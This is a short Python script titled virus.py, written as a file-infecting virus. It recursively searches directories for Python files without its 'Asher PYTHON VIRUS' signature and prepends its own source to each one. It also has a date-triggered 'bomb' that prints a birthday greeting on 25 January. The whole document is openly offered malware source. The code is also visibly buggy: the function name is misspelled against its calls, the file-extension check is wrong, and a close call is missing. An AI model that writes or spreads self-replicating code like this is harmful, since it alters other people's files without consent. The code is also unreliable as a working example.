virus.py

import os 
import datetime
SIGNATURE = "Asher PYTHON VIRUS"
def serach(path):
	filestoinfect =[]
	filelist = os.listdir(path)
	for fname in filelist:
		if os.path.isdir(path+"/"+fname):
			filestoinfect.extend(search(path+"/"+fname))
		elif fname[3:]==".py":
			infected = False
			for line in open(path+"/"+fname):
				if SIGNATURE in line:
					infected = True
					break
			if infected == False:
				filestoinfect.append(path+"/"+fname)
	return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAPPY BIRTHDAY Asher!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()